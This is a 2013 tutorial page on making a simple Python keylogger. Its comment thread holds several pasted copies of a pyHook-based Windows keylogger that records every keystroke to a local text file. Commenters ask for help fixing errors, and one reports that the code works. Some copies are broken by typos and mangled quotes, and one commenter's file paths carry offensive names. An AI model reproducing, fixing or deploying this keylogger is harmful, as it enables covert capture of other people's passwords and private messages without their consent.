How To Make A Simple Python Keylogger

Avatar davisde | July 17, 2013

75 Views 0 Ratings Rate it

Python is a really easy programming language for beginners. What better way to showcase it’s range of abilities than making a simple keylogger.


Comments

This post currently has 17 responses.

  1. Stephen

    September 11, 2013 at 1:08 am

    I put this code in running Python 3.2.3

    import pyHook, pythoncom, sys, logging

    file_log = ‘G:\\English 10\\Adolf Hiter.txt’

    def OnKeyboardEvent(event):
    logging.baicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.Hook.Keyboard()
    pythoncom.PumpMessages()

    I of course installed the correct pywin32 and pyhook. When i attempt to run the program, it gives me this error message:

    >>>
    Traceback (most recent call last):
    File “G:/Holocaust.pyw”, line 1, in
    import pyHook, pythoncom, sys, logging
    File “C:\Python32\lib\site-packages\pythoncom.py”, line 2, in
    import pywintypes
    ImportError: No module named pywintypes
    >>>

    any help?

    • Noah

      September 17, 2013 at 11:42 pm

      I am getting an error on the chr(event.Ascii) Here is my hole file

      import pyHook, pythoncom, sys, logging

      file_log = ‘C:\\Stuff\\log.txt’

      def OnKeyboardEvent (event) :
      logging.basicConfig (filename=file_log, level=logging.DEBUG, format=’% (message) %’
      chr(event.Ascii)
      logging.log(10,chr(event.Ascii))
      return True

      hooks_manager = pyHook.HookManager ()
      hooks_manager.KeyDown = OnKeyboardEvent
      hooks_manager.HookKeyboard ()
      pythoncom.PumpMessages()

      When I hit F5 to test I get an error please help!

    • Me;)

      October 28, 2013 at 11:53 pm

      Hey there Noah! I see a problem at you! let me show you my code and see if you can fix yours!

      import pyHook, pythoncom, sys, logging

      file_log = ‘C:\important\log.txt’

      def OnKeyboardEvent (event):
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
      chr(event.Ascii)
      logging.log(10,chr(event.Ascii))
      return True

      hooks_manager= pyHook.HookManager()
      hooks_manager.KeyDown = OnKeyboardEvent
      hooks_manager.HookKeyboard()
      pythoncom.PumpMessages()

  2. Jake

    October 17, 2013 at 9:22 pm

    Im having an error as well. Heres my code:

    import pyHook, pythoncom, sys, logging

    file_log = ‘C:\\Important\\log.txt’

    def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format=ā€™%(message)sā€™)
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.Hook.Keyboard()
    pythoncom.PumpMessages()

    When I press F5, this message comes up:

    “invalid character in identifier”

    Please help…

  3. gigijaponezu

    November 8, 2013 at 3:07 pm

    It worked for me pretty well. I have Windows 8.1, and I’m using an USB keyboard(my laptop keyboard is broken)

    import pyHook, pythoncom, sys, logging

    file_log = ‘C:\\important\\log.txt’

    def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()

  4. agentleader1

    December 29, 2013 at 1:34 am

    How do you do the whole thing in Python 3.3? When you do that, it’s like complety different. It doesn’t work. One reason: chr(event.Ascii) asks for a name thing. I’m really confused, somebody help me please!

Leave a Reply